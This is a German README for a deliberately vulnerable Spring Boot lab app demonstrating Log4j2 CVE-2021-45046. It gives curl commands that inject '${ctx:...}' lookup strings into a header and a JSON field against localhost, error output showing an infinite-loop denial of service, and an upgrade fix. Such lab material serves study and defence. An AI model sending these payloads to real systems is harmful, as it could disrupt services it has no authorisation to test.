Verwundbare Log4j2-Beispielanwendung (CVE-2021-45046)

Betroffene Versionen: alle Versionen von 2.0-beta9 bis 2.15.0

Diese Anwendung basiert auf einer Spring-Boot-Webanwendung, die für CVE-2021-45046 anfällig ist.

Sie verwendet Log4j 2.14.1 (über spring-boot-starter-log4j2 2.6.1).

Ausführen der Anwendung

Führen Sie sie aus:

Importieren Sie das Projekt in einer Java-IDE als Maven-Projekt.

Führen Sie CVEMainApplication.java als Spring-Boot-App aus.

Schritte zur Ausnutzung

Lösen Sie dann den Exploit wie folgt aus:

For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${ctx:clientRef}"
}'

Beachten Sie, dass die Ausgabe eine Endlosschleife anzeigt; in Tests wurde jedoch nicht festgestellt, dass dieser DoS ressourcenintensiv ist, da die Endlosschleife vom Programm erkannt wird und es mit einem Fehler abbricht:


${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of  ${ctx:clientRef}: ctx:clientRef
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)

Gegenmaßnahmen :

Log4j 2.16.0 behebt dieses Problem, indem die Unterstützung für Message-Lookup-Muster entfernt und die JNDI-Funktionalität standardmäßig deaktiviert wird.

log4j2-CVE-2021-45046

Beliebteste